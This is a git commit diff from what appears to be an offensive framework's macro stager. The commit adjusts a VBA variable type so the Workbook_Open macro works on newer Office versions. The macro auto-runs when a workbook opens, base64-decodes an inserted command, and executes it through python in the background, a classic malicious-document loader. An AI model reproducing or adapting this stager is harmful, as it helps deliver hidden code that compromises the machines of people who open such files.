Fixed Macro to accomodate newer versions

3.0-Beta
Adam Gold 2018-02-28 20:10:21 -08:00 committed by import-au
parent ec2e453de1
commit de83f8d8d2
1 changed files with 5 additions and 1 deletions

View File

@ -102,7 +102,11 @@ class Stager:
#EndIf
Private Sub Workbook_Open()
Dim result As Long
If Val(Application.Version) >= 15.33 Then
Dim result As LongPtr
Else
Dim result As Long
End If
Dim cmd As String
%s
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")